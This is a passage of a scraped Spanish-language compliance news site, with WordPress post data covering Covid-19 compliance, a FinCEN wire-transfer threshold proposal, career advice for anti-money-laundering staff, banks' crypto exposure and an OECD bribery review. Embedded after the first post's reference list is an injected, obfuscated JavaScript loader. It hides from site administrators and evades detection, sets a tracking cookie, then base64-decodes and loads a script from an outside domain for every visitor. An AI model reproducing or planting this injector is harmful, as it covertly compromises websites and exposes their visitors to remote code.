necesarios y garanticen que las funciones esenciales puedan continuar durante y despu\u00e9s de la pandemia.\n\n <b>*Juan Pablo Rodr\u00edguez C.<\/b>\n\nAbogado Penalista\n\nEscritor, conferencista y consultor internacional.\n\nCertified Lead Auditor y Lead Implementer en ISO 37001 Gesti\u00f3n Antisoborno, PECB, 2020\n\nCertified Professional in Anti-Money Laundering \u2013 CPAML de FIBA (Florida International Bankers Association).\n\nCertified on Governance, Risk Management and Compliance Professional (GRCP) y GRC Fundamentals de Open Compliance and Ethics Group (OCEG), 2016\n\nPresidente y Socio de RICS Management.\n\njrodriguez@ricsmanagement.com\n\n <b>**Ren\u00e9 M. Castro V.<\/b>\n\nContador P\u00fablico con Magister en Contabilidad y Auditor\u00eda de Gesti\u00f3n de la Universidad de Santiago de Chile.\n\nEscritor, conferencista y consultor internacional.\n\nCertified Trainer y Lead Compliance Manager en ISO 19600 Gesti\u00f3n de Cumplimiento, PECB, 2020\n\nCertified on Financial Services and Market Regulation, London School of Economics, (LSE), 2016\n\nCertified on Corporate Compliance and Ethics, New York University, 2015.\n\nVice-Presidente & Socio RICS Management\n\nrcastro@ricsmanagement.com\n\n <u>Referencias<\/u>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">1-        https:\/\/coronavirus.jhu.edu\/map.html<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">2-        https:\/\/www.isglobal.org\/covid-19-novedades-cientificas<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">3.         https:\/\/www.who.int\/es\/emergencies\/diseases\/novel-coronavirus-2019\/advice-for-public\/q-a-coronaviruses<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"El Compliance (Cumplimiento) en la nueva normalidad, durante y despu\u00e9s del Covid-19","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-compliance-cumplimiento-en-la-nueva-normalidad-durante-y-despues-del-covid-19","to_ping":"","pinged":"","post_modified":"2025-10-24 17:06:04","post_modified_gmt":"2025-10-24 21:06:04","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25307","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25304,"post_author":"16","post_date":"2020-11-02 15:17:00","post_date_gmt":"2020-11-02 19:17:00","post_content":"<p>Un cambio propuesto en las obligaciones ALD\/CFT en EE.UU. puede llegar a reducir el monto de las transacciones que obliga a enviar informaci\u00f3n sobre los remitentes y receptores de transferencias financieras internacionales a otras instituciones, lo que podr\u00eda agregar m\u00e1s carga de cumplimiento a los bancos que procesan dichos pagos.<\/p><p>FinCEN, la unidad de informaci\u00f3n financiera de EE.UU., y la Junta de la Reserva Federal est\u00e1n buscando comentarios sobre una enmienda que requerir\u00eda que las instituciones financieras recopilen, retengan y transmitan cierta informaci\u00f3n relacionada con transferencias internacionales y transferencias de fondos superiores a US$ 250.<\/p><p>Actualmente, bajo la Ley de Secreto Bancario de EE. UU., los bancos y las instituciones financieras no bancarias de EE.UU. obtienen, conservan y transmiten dicha informaci\u00f3n para las transacciones nacionales e internacionales de US$ 3.000 o m\u00e1s, incluyendo la identidad y la informaci\u00f3n de cuenta del remitente y el destinatario, a otras instituciones financieras a lo largo de la cadena de pago. Las denominadas regulaciones de las reglas de viaje est\u00e1n destinadas a ayudar a las agencias de ley y a los reguladores a investigar y procesar posteriormente las actividades il\u00edcitas mediante la preservaci\u00f3n de un rastro de informaci\u00f3n.<\/p><p>FinCEN y la Junta de la Reserva Federal, en la propuesta publicada el martes en el Registro Federal, sugieren mantener el umbral para transacciones nacionales en US$ 3.000.<\/p><p>La propuesta tambi\u00e9n aclar\u00f3 que la regla tambi\u00e9n se aplica a las transacciones que involucran monedas virtuales o digitales.<\/p><p>Los reguladores hab\u00edan se\u00f1alado que encontraron que transferencias electr\u00f3nicas internacionales por debajo del US$ 3.000 se estaban utilizando para facilitar el financiamiento del terrorismo, el tr\u00e1fico de narc\u00f3ticos y otras actividades il\u00edcitas. Las agencias dijeron que basaron su propuesta parcialmente en un an\u00e1lisis de datos de aproximadamente 2.000 reportes de operaciones sospechosas presentados por instituciones financieras a FinCEN entre 2016 y 2019 que estaban relacionados con posibles transferencias de fondos para el financiamiento del terrorismo.<\/p><p>FinCEN encontr\u00f3 que aproximadamente el 99% de las transacciones subyacentes de estos SAR comenzaron o terminaron fuera de EE. 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Las agencias dijeron que algunas instituciones financieras ya estaban recopilando informaci\u00f3n sobre algunas de las transacciones por debajo del umbral actual para reportar transacciones sospechosas a FinCEN, o simplemente para mantener un solo conjunto de procesos para todas las transacciones.<\/p>","post_title":"EE.UU. propone bajar el umbral (de US$3.000 a US$250) para la transmisi\u00f3n de datos del remitente y destinatario","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"ee-uu-propone-bajar-el-umbral-de-us3-000-a-us250-para-la-transmision-de-datos-del-remitente-y-destinatario","to_ping":"","pinged":"","post_modified":"2020-11-02 15:19:59","post_modified_gmt":"2020-11-02 19:19:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25304","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"}],"next":false,"prev":true,"total_page":14},"paged":1,"column_class":"jeg_col_3o3","class":"epic_block_9"};</script> </div> </div> </div> </div> </div> </div> </section> <section class="has_eae_slider elementor-section elementor-top-section elementor-element elementor-element-a3c376b elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="a3c376b" data-element_type="section"> <div class="elementor-container elementor-column-gap-default"> <div class="has_eae_slider elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-775b7a7" data-id="775b7a7" data-element_type="column"> <div class="elementor-widget-wrap elementor-element-populated"> <div class="elementor-element elementor-element-89994b6 elementor-widget elementor-widget-epic_archive_pagination_elementor" data-id="89994b6" data-element_type="widget" data-widget_type="epic_archive_pagination_elementor.default"> <div class="elementor-widget-container"> <div class="jeg_navigation jeg_pagination jeg_pagenav_2 jeg_aligncenter no_navtext no_pageinfo"> <span class="page_info">Page 14 of 110</span> <a class="page_nav prev" data-id="13" href="https://www.delitosfinancieros.org/category/noticias/page/13/"><span class="navtext">Previous</span></a> <a class='page_number' data-id='1' href='https://www.delitosfinancieros.org/category/noticias/'>1</a> <span class="page_number dots">…</span> <a class='page_number' data-id='13' href='https://www.delitosfinancieros.org/category/noticias/page/13/'>13</a> <span class='page_number active'>14</span> <a class='page_number' data-id='15' href='https://www.delitosfinancieros.org/category/noticias/page/15/'>15</a> <span class="page_number dots">…</span> <a class='page_number' data-id='110' href='https://www.delitosfinancieros.org/category/noticias/page/110/'>110</a> <a class="page_nav next" data-id="15" href="https://www.delitosfinancieros.org/category/noticias/page/15/"><span class="navtext">Next</span></a> </div> </div> </div> </div> </div> </div> </section> \n<p><strong>Por Brian Monroe<\/strong><\/p>\n\n\n\n<p>Para ingresar y progresar en un campo tan complejo y cambiante como el dela prevenci\u00f3n y control de los delitos financieros, hay que prepararse para enfrentar las incertidumbres de latecnolog\u00eda, paraabordar temas en los que se sienta \"inc\u00f3modo\" \u2013ae incluso en los que no se sienta capacitado\u2014, para finalmente poder sobresalir como profesional de cumplimiento..<\/p>\n\n\n\n<p>Esos son solo algunos de los consejos y t\u00e1cticas sobre c\u00f3mo iniciarse y ascender en el campo de la lucha contra el lavado de dinero (ALD\/CFT) ofrecidos por  los principales profesionales de cumplimiento de delitos financierosque participaron en la reciente Cumbre Virtual de ACFCS: <strong><u>El Futuro del Fincrime en Canad\u00e1.<\/u><\/strong><\/p>\n\n\n\n<p>M\u00e1s de 2.000 profesionales se registraron para el evento de tres d\u00edas, que estuvo repleto de capacitaci\u00f3n precisa y relevante, <em>networking<\/em>, juegos, obsequios y mucho m\u00e1s.<\/p>\n\n\n\n<p>La conferencia cubri\u00f3 temas de todo el amplio arco de los delitos financieros y cumplimiento tanto en el sector p\u00fablico como en el privado, incluidos puntos regulatorios clave, tendencias de aplicaci\u00f3n, criptograf\u00eda, marihuana, an\u00e1lisis de datos, trata de personas. La cumbre incluy\u00f3 un d\u00eda completo dedicado a las habilidades laborales y t\u00e1cticas para irrumpir en el campo y progresar profesionalmente.<\/p>\n\n\n\n<p>El jueves, el \u00faltimo d\u00eda de la conferencia, oficiales de cumplimiento, investigadores y funcionarios del gobierno abordaron el tema de c\u00f3mo ingresar, sobrevivir y prosperar en el campo del cumplimiento y qu\u00e9 habilidades ayudar\u00edan a los profesionales a ser buscados por las instituciones y reclutadores profesionales,  ahora y en el futuro.<\/p>\n\n\n\n<p>Los oradores ofrecieron informaci\u00f3n y consejos sobre una serie de caminos para tener \u00e9xito en el campo de delitos financieros, ALD\/CFT y \u00e1reas relacionadas, incluyendo:<\/p>\n\n\n\n<p><strong>Acertijos convergentes<\/strong><\/p>\n\n\n\n<p>Si bien algunos bancos se preocupan por luchar contra el fraude , el primer error es no ver el fraude y las estructuras ALD\/CFTcomo hilos entrelazados de la misma tela criminal.<\/p>\n\n\n\n<p>Los equipos de cumplimiento deben saber comunicarse, coordinar y ser un verdadero aliado de las agencias de aplicaci\u00f3n de ley. Los bancos est\u00e1n rompiendo los silos entre los departamentos de delitos financieros, por lo que un conjunto diverso y variado de habilidades no es solo una ventaja, sino que podr\u00eda ayudar a preparar su carrera para el futuro.<\/p>\n\n\n\n<p><strong>Para mayor seguridad laboral, pruebe con la ciberseguridad<\/strong><\/p>\n\n\n\n<p>Acabamos de mencionar que los silos se est\u00e1n derrumbando y que ALD\/CFT y el fraude deben verse como hilos entrelazados de la misma tela criminal, ahora usted indefectiblemente debe prepararse para para fortalecer su conocimiento y pericia en  ciberseguridad.<\/p>\n\n\n\n<p>Si tiene experiencia cibern\u00e9tica, los oradores se\u00f1alaron que debe comenzar a  aprender m\u00e1s sobre el fraude y ALD\/CFT, ya que informaci\u00f3n tal como la ubicaci\u00f3n geogr\u00e1fica y la direcci\u00f3n IP de los atacantes virtuales son puntos cr\u00edticos para enriquecer los reportes de operaci\u00f3n sospechosa (ROS) para los investigadores, dentro y fuera del banco. Si usted es un fan\u00e1tico de la lucha contra el lavado de dineros o del fraude, descubra por qu\u00e9 la tecnolog\u00eda es un tema tan importante.<\/p>\n\n\n\n<p><strong>No le tema a la tecnolog\u00eda, m\u00e1s bien abr\u00e1cela<\/strong><\/p>\n\n\n\n<p>Para responder a los delincuentes expertos en tecnolog\u00eda, los bancos est\u00e1n comenzando a experimentar con elementos como inteligencia artificial, aprendizaje autom\u00e1tico y automatizaci\u00f3n con la intenci\u00f3n de analizar datos como nunca antes lo han hecho. \u00bfQu\u00e9 significa eso para usted como solicitante de empleo o incluso para alguien que quiere seguir trabajando?<\/p>\n\n\n\n<p>No deje toda la ingenier\u00eda de sistemas, el an\u00e1lisis de datos, el ajuste del monitoreo de transacciones o la investigaci\u00f3n cibern\u00e9tica en manos de proveedores externos o expertos internos. Descubra c\u00f3mo la tecnolog\u00eda puede potenciar su programa para poder responder con precisi\u00f3n y celeridad cuando los reguladores reanuden su rigorosa labor en un mundo postpandemia.<\/p>\n\n\n\n<p>Pero tambi\u00e9n recuerde que puede ser un gran atributo ser autosuficiente cuando se trata de problemas de software. Eso puede incluir algo tan simple como comprender c\u00f3mo desbloquear su PC o volver a conectarse a su wi-fi, sin tener que realizar una llamada a su chico o chica de \"sistemas\".<\/p>\n\n\n\n<p><strong>No se quede atascado en la investigaci\u00f3n<\/strong><\/p>\n\n\n\n<p>Si bien los oradores acordaron en general que estas nuevas tecnolog\u00edas ayudar\u00e1n a descubrir y combatir mejor a los estafadores, lavadores y otros oligarcas corruptos y sus testaferros, nunca reemplazar\u00e1n la necesidad de un profesional de carne y hueso para la toma de decisiones.<\/p>\n\n\n\n<p>Dondequiera que se encuentre en el campo ALD\/CFT, sea cual sea su rol, para ascender necesita aprender m\u00e1s y nunca dejar de aprender. Algunas veces estos aprendizajes se expanden a los mundos virtuales. <\/p>\n\n\n\n<p>Para crear una defensa m\u00e1s s\u00f3lida para su instituci\u00f3n y evitar que su banco se convierta en un conducto para que los grupos criminales laven dinero, debe saber c\u00f3mo intentan limpiar las ganancias il\u00edcitas. \u00bfC\u00f3mo? Manteni\u00e9ndose al d\u00eda con la moneda virtual.<\/p>\n\n\n\n<p>No se desv\u00ede del debate sobre si Bitcoin y otras monedas virtuales son dep\u00f3sitos reales y aut\u00e9nticos de valor, \u201cdinero Monopoly\u201d o algo en el medio. El punto central para los profesionales del cumplimiento es que los delincuentes est\u00e1n utilizando monedas virtuales por sumas de hasta US$1.000 millones de d\u00f3lares.<\/p>\n\n\n\n<p>Entonces, para no quedar pedaleando en el aire por falta de conocimiento, debe aprender qu\u00e9qu\u00e9 monedas virtuales son m\u00e1s riesgosas y poder sopesar los distintos riesgos. Aprenda c\u00f3mo los investigadores rastrean las transacciones \"pseudo\" an\u00f3nimas en la cadena de bloques o blockchain.<\/p>\n\n\n\n<p><strong> <\/strong>\u201cEl desarrollo personal y la creaci\u00f3n de redes con otros profesionales son clave para el crecimiento profesional. \u00a1Nunca deje de estudiar, mantenerse actualizado y crear una conexi\u00f3n significativa! \" dijo un asistente.<\/p>\n\n\n\n<p><strong>Si\u00e9ntase inc\u00f3modo<\/strong><\/p>\n\n\n\n<p>Un orador se\u00f1al\u00f3 que para convertirse en un profesional m\u00e1s completo, debe individualizar aquellas \u00e1reas a las que teme o en las que cree que no es bueno y zambullirse en ellas.<\/p>\n\n\n\n<p>Descubra d\u00f3nde tiene miedo, d\u00f3nde est\u00e1 d\u00e9bil y le falta confianza y convierta esas vulnerabilidades en fortalezas para que tenga menos puntos ciegos cuando se sienta presionado.<\/p>\n\n\n\n<p>El equilibrio es un poderoso aliado cuando los reclutadores de profesionales del \u00e1rea de cumplimiento de delitos financieros analizan su historial laboral general, una medida que puede ayudar a comprender mejor su enfoque hol\u00edstico e integral en \u00e1reas dentro y fuera del  cumplimiento.<\/p>\n","post_title":"Crecer como profesional de cumplimiento, superar el miedo a la tecnolog\u00eda, sentirse \"inc\u00f3modo\" para progresar: Panorama de la Cumbre de Canad\u00e1","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"crecer-como-profesional-de-cumplimiento-superar-el-miedo-a-la-tecnologia-sentirse-incomodo-para-progresar-panorama-de-la-cumbre-de-canada","to_ping":"","pinged":"","post_modified":"2020-11-24 17:57:44","post_modified_gmt":"2020-11-24 21:57:44","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25412","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25400,"post_author":"16","post_date":"2020-11-24 11:21:03","post_date_gmt":"2020-11-24 15:21:03","post_content":"\n<p><\/p>\n\n\n\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/4bb7abE4e7E\n<\/div><\/figure>\n\n\n\n<p>Recientes novedades en Estados Unidos sugieren que los reguladores se est\u00e1n preparando para la adopci\u00f3n permanente de los activos digitales y esperan que las instituciones financieras comprendan su exposici\u00f3n y mitiguen los riesgos asociados.<\/p>\n\n\n\n<p><strong>Durante los \u00faltimos meses en Estados Unidos:<\/strong><\/p>\n\n\n\n<ul><li>la Oficina del Contralor de la Moneda (OCC) aclar\u00f3 que los bancos nacionales pueden brindar servicios de custodia de activos digitales a los clientes y participar en ciertas actividades de <em>stablecoins<\/em>, tambi\u00e9n llamadas monedas estable,<\/li><li>la Divisi\u00f3n de Banca de Wyoming emiti\u00f3 su primera autorizaci\u00f3n para una instituci\u00f3n depositaria de prop\u00f3sito especiales (SPDI por sus siglas en ingl\u00e9s) para que Kraken se transforme en el primer intercambio de criptomonedas regulado como un banco, y<\/li><li>la Conferencia de Supervisores de Bancos Estatales (CSBS) present\u00f3 un conjunto \u00fanico de reglas de supervisi\u00f3n para que las empresas de criptomonedas puedan expandirse m\u00e1s f\u00e1cilmente en todo el pa\u00eds.<\/li><\/ul>\n\n\n\n<p>Estas novedades significan que los bancos y otras instituciones financieras tienen la oportunidad de pasar a una clase de activos emergentes que crecen en popularidad, particularmente entre los consumidores m\u00e1s j\u00f3venes. Sin embargo, comentarios recientes de Kenneth A. Blanco, Director de la Red de Ejecuci\u00f3n de Delitos Financieros del Departamento del Tesoro (FinCEN), la Unidad de Informaci\u00f3n Financiera de EE.UU., sugieren que incluso los bancos sin intenci\u00f3n de expandir sus negocios al espacio de las criptomonedas deben comprender este universo y monitorear las interacciones de sus clientes con este para cumplir con sus obligaciones regulatorias.<\/p>\n\n\n\n<p>El mes pasado, Blanco habl\u00f3 en una conferencia sobre los esfuerzos de los estafadores para aprovechar la crisis de Covid-19 y la respuesta de su agencia. Pero lo m\u00e1s notable de sus comentarios fue el tiempo que dedic\u00f3 a explicar por qu\u00e9 todos los bancos deben ser conscientes de su exposici\u00f3n a las criptomonedas y el riesgo que asumen al ignorarla.<\/p>\n\n\n\n<p>Espec\u00edficamente, dijo: \u201cUn tema que siempre aparece durante estas conversaciones se relaciona con la mitigaci\u00f3n de los riesgos asociados con los sistemas de pago emergentes, incluida la moneda virtual. Para ser claros, los intercambios de [moneda virtual] no son los \u00fanicos con exposici\u00f3n al riesgo de las monedas criptogr\u00e1ficas. Estos riesgos no son exclusivos de las empresas de servicios monetarios o los cambistas de divisas virtuales; los bancos tambi\u00e9n deben estar pensar en su exposici\u00f3n a las criptomonedas\".<\/p>\n\n\n\n<p>Las palabras de Blanco indican que un banco tradicional puede ser considerado responsable de la actividad il\u00edcita llevada a cabo con criptomonedas por sus clientes, incluso si el propio banco no proporciona servicios de custodia de criptomonedas.<\/p>\n\n\n\n<p>Por ejemplo, si un cliente transfiere fondos de su cuenta bancaria a un cambista de criptomonedas, compra criptomonedas y luego, digamos, env\u00eda esa criptomoneda a un individuo sancionado o al mercado de la red oscura, la exposici\u00f3n del banco a ese riesgo podr\u00eda ser preocupante para los reguladores.<\/p>\n\n\n\n<p>De manera similar, si un cliente extorsiona a otros en esquemas de <em>ransomware<\/em>, acepta criptomonedas en un intercambio que transfiere fondos a su cuenta bancaria, podr\u00eda estar exponiendo a su banco a riesgos. Analizaremos c\u00f3mo los bancos pueden prepararse para incorporar la criptomoneda en sus programas de cumplimiento.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/AdobeStock_192635639-1024x503.jpeg\" alt=\"\" class=\"wp-image-25404\"\/><\/figure>\n\n\n\n<p><strong><u>Comprender la exposici\u00f3n a las criptomonedas y el riesgo<\/u><\/strong><\/p>\n\n\n\n<p>Los bancos que eval\u00faan su riesgo de criptomonedas primero deben preguntarse si tienen alguna forma de identificar a los clientes actuales que usan criptomonedas.<\/p>\n\n\n\n<p>Algunos bancos pueden pensar que ninguno de sus clientes usa criptomonedas. De hecho, cuando la compa\u00f1\u00eda de investigaci\u00f3n de blockchain Chainalisys encuest\u00f3 a un grupo de profesionales de inversi\u00f3n hace un a\u00f1o, casi un tercio estim\u00f3 que ninguno de sus clientes realizaba transacciones con negocios de criptomonedas. Bancos como Wells Fargo han prohibido rotundamente a sus clientes enviar fondos a negocios de criptomonedas, lo que podr\u00eda llevarlos a creer que muy pocos o incluso ninguno de ellos lo est\u00e1n haciendo.<\/p>\n\n\n\n<p>Sin embargo, esto podr\u00eda no ser as\u00ed. Una encuesta reciente de la firma de consultor\u00eda financiera Cornerstone Advisors sugiere que el 15% de los estadounidenses ha comprado criptomonedas de alguna forma, y otro 11% dice que planea hacerlo en un futuro pr\u00f3ximo.<\/p>\n\n\n\n<p>Tambi\u00e9n sabemos por otras encuestas que es a\u00fan m\u00e1s probable que los consumidores m\u00e1s j\u00f3venes hayan comprado criptomonedas. Por lo tanto, parece improbable que cualquier banco con una base de clientes sustancial no tenga al menos algunos clientes que realicen transacciones con negocios de criptomonedas.<\/p>\n\n\n\n<p>Los bancos que informan una adopci\u00f3n nula de criptomonedas entre sus clientes probablemente no est\u00e1n obteniendo una imagen completa y podr\u00edan enfrentar problemas con los reguladores en el futuro.<\/p>\n\n\n\n<p>Si los bancos aceptan que al menos algunos de sus clientes probablemente est\u00e9n comprando criptomonedas, \u00bfc\u00f3mo adoptan un enfoque espec\u00edfico para administrar el riesgo asociado?<\/p>\n\n\n\n<p>El primer paso es conocer los intercambios de criptomonedas m\u00e1s populares. Los intercambios son las rampas principales de entrada y salida entre la criptomoneda y la moneda fiduciaria, y probablemente los lugares m\u00e1s comunes a los que sus clientes enviar\u00edan fondos para comprar criptomonedas. Los bancos necesitan crear un sistema para detectar intercambios en sus mensajes SWIFT, pagos ACH y transacciones con tarjeta de d\u00e9bito.<\/p>\n\n\n\n<p>Los principales intercambios de criptomonedas est\u00e1n en constante evoluci\u00f3n, por lo que los bancos tambi\u00e9n deben monitorearlos en tiempo real para que dicho programa sea efectivo.<\/p>\n\n\n\n<p>Si los bancos comenzaran a monitorear estas empresas en la actividad de sus clientes hoy, inevitablemente encontrar\u00edan transacciones relacionadas con las criptomonedas que no sab\u00edan que estaban sucediendo. A partir de ah\u00ed, deben evaluar el riesgo de esas transacciones en funci\u00f3n de sus pol\u00edticas actuales contra el lavado de dinero, verificando transacciones que sugieran una actividad sospechosa.<\/p>\n\n\n\n<p>A largo plazo, los bancos deber\u00e1n evaluar individualmente todos los intercambios con los que sus clientes realizan transacciones, as\u00ed como cualquier otro negocio de criptomonedas que los clientes est\u00e9n financiando desde sus cuentas bancarias.<\/p>\n\n\n\n<p>Para empezar, deben examinar el modelo comercial \u00fanico de cada intercambio, la calidad del programa de cumplimiento y la jurisdicci\u00f3n de operaci\u00f3n. Pero estos factores cualitativos no son suficientes por s\u00ed solos. Los bancos tambi\u00e9n deben evaluar la efectividad del cumplimiento de los intercambios midiendo su exposici\u00f3n a contrapartes riesgosas en otras partes del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>Estas mediciones ser\u00edan la se\u00f1al m\u00e1s fuerte de si un banco debiera o no hacer comerciar con un negocio de criptomonedas, pero la mayor\u00eda de los bancos no pueden obtener estos datos por s\u00ed mismos, por lo general se pueden asociar con proveedores de datos confiables que tengan un conocimiento del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>A medida que se sientan m\u00e1s c\u00f3modos con el espacio, los bancos tambi\u00e9n pueden trabajar para establecer relaciones con los equipos de cumplimiento en empresas de criptomonedas de renombre que sus clientes utilizan con m\u00e1s frecuencia y trabajar con ellos para resolver problemas juntos.<\/p>\n\n\n\n<p><strong><u>Los bancos deber\u00edan tener una ventaja en las criptomonedas<\/u><\/strong><\/p>\n\n\n\n<p>El tiempo es clave para los bancos, los comentarios de Blanco indican que los reguladores pronto esperar\u00e1n que puedan mostrar c\u00f3mo sus programas de cumplimiento ALD\/CFT abordan la actividad de las criptomonedas y cu\u00e1l es el nivel de riesgo relacionado con las criptomonedas. Los bancos har\u00edan bien en comenzar a recopilar esa informaci\u00f3n ahora, en lugar de esperar hasta que los reguladores la exijan.<\/p>\n\n\n\n<p>Si bien esto puede ser desalentador al principio, los departamentos de cumplimiento de los bancos eventualmente dominar\u00e1n las criptomonedas si toman estos pasos. Despu\u00e9s de eso, \u00bfqui\u00e9n sabe qu\u00e9 podr\u00eda pasar? Los bancos que actualmente no planean involucrarse en el espacio de criptomonedas pueden abrirse a la idea de la adopci\u00f3n institucional a medida que desarrollan e implementan procedimientos para mitigar el riesgo de las criptomonedas.<\/p>\n","post_title":"Los bancos necesitan comprender su exposici\u00f3n a las criptomonedas incluso si no toman custodia de estas","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"los-bancos-necesitan-comprender-su-exposicion-a-las-criptomonedas-incluso-si-no-toman-custodia-de-estas","to_ping":"","pinged":"","post_modified":"2020-11-24 16:21:23","post_modified_gmt":"2020-11-24 20:21:23","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25400","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25409,"post_author":"16","post_date":"2020-11-23 11:33:00","post_date_gmt":"2020-11-23 15:33:00","post_content":"\n<p>Estados Unidos contin\u00faa liderando en la lucha contra la corrupci\u00f3n transnacional, pero podr\u00eda mejorar sus esfuerzos extendiendo la protecci\u00f3n a m\u00e1s denunciantes y ofreciendo transparencia adicional en la resoluci\u00f3n de casos de soborno en el extranjero, se\u00f1al\u00f3 el Grupo de Trabajo sobre Soborno de la Organizaci\u00f3n para la Cooperaci\u00f3n y Desarrollo Econ\u00f3micos (OCDE).<\/p>\n\n\n\n<p>El grupo de trabajo, en <a href=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" data-type=\"URL\" data-id=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>un informe publicado la semana pasada<\/strong><\/a>, elogi\u00f3 a Estados Unidos por elevar el nivel de aplicaci\u00f3n de su Ley de Pr\u00e1cticas Corruptas en el Extranjero (FCPA) desde su \u00faltima evaluaci\u00f3n por parte del grupo en 2010.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large is-resized\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image-1.png\" alt=\"\" class=\"wp-image-25410\" width=\"376\" height=\"377\"\/><\/figure><\/div>\n\n\n\n<p>Tambi\u00e9n elogi\u00f3 el \u00e9xito del programa de denuncia en la Comisi\u00f3n de Bolsa y Valores (SEC) por ayudar a detectar posibles irregularidades.<\/p>\n\n\n\n<p>Estados Unidos ha presentado 156 casos bajo la FCPA o violaciones relacionadas, tales como contabilidad creativa y lavado de dinero, entre septiembre de 2010 y julio de 2019, dijo la OCDE. Esos casos dieron lugar a la condena o al castigo de 174 empresas y 115 personas durante el per\u00edodo, seg\u00fan el informe. En comparaci\u00f3n con las 88 empresas y 71 personas registradas en la evaluaci\u00f3n anterior, que tuvo en cuenta el per\u00edodo entre 2002 y 2010.<\/p>\n\n\n\n<p>La FCPA proh\u00edbe que las empresas y las personas estadounidenses paguen sobornos a funcionarios de gobiernos extranjeros para obtener negocios.<\/p>\n\n\n\n<p>El informe, que refleja los hallazgos de expertos de Argentina y el Reino Unido, es parte de la cuarta fase de una revisi\u00f3n continua por pares del grupo de trabajo de la OCDE, que monitorea y eval\u00faa la implementaci\u00f3n y cumplimiento de la Convenci\u00f3n Antisoborno de la OCDE por parte de 44 pa\u00edses miembros. La cuarta fase se centra en el cumplimiento, la detecci\u00f3n y la responsabilidad empresarial, y eval\u00faa las necesidades de cada pa\u00eds y c\u00f3mo ha implementado las recomendaciones de la evaluaci\u00f3n anterior.<\/p>\n\n\n\n<p>Se solicita a los pa\u00edses miembros, incluido EE. UU., que env\u00eden un seguimiento por escrito a los pocos a\u00f1os del informe de evaluaci\u00f3n para explicar c\u00f3mo implementaron las recomendaciones de la OCDE.<\/p>\n\n\n\n<p>La OCDE agreg\u00f3 que los programas de denuncia en Estados Unidos han desempe\u00f1ado un papel fundamental en la detecci\u00f3n de presuntos sobornos extranjeros.<\/p>\n\n\n\n<p>El Departamento de Justicia de EE.UU. y la SEC mantienen l\u00edneas directas p\u00fablicas para recibir sugerencias an\u00f3nimas. El programa de denuncia de irregularidades de la SEC, creado por la Ley Dodd-Frank de 2010, tambi\u00e9n cre\u00f3 incentivos financieros y protecci\u00f3n contra las represalias para que los informantes que reporte presuntas infracciones relacionadas con la FCPA.<\/p>\n\n\n\n<p>El programa de denunciantes de la SEC, que comenz\u00f3 a funcionar en 2011, estableci\u00f3 nuevos r\u00e9cords en el a\u00f1o fiscal 2020 que finaliz\u00f3 el 30 de septiembre, otorgando m\u00e1s dinero a m\u00e1s informantes que en cualquier otro a\u00f1o de la historia del programa.<\/p>\n\n\n\n<p>La OCDE recomend\u00f3 en el informe que EE.UU. fortalezca y extienda la protecci\u00f3n contra las represalias a todos los informantes del sector privado que puedan plantear acusaciones relacionadas con la FCPA, incluidos aquellos que denuncian presunta 